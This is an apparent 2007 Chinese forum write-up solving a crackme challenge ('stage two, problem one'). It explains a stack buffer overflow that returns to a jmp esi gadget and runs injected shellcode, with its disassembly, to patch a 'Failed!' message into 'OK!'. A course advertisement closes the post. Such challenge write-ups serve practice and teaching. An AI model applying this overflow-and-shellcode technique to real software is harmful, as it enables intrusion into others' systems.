-
-
[原创]第二阶段第一题
-
2007-8-28 15:31
7329
-
构造前8字节，可以读入13个DWORD，使堆栈溢出,使堆栈返回到4002b8。这里是一个jmp esi,可以jmp到读入的代码区.
004002B8 - FFE6 JMP ESI //jmp bc0000
00BC0000 /EB 7C JMP SHORT 00BC007E
00BC007E 8BEC MOV EBP,ESP
00BC0080 83C5 20 ADD EBP,20 //修正下EBP
00BC0083 B8 60024000 MOV EAX,400260 ; ASCII "Failed!"
00BC0088 C700 4F4B2100 MOV DWORD PTR [EAX],214B4F
00BC008E 05 27010000 ADD EAX,127
00BC0093 C600 60 MOV BYTE PTR [EAX],60
00BC0096 68 83034000 PUSH 400383
00BC009B C3 RETN
OK!
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
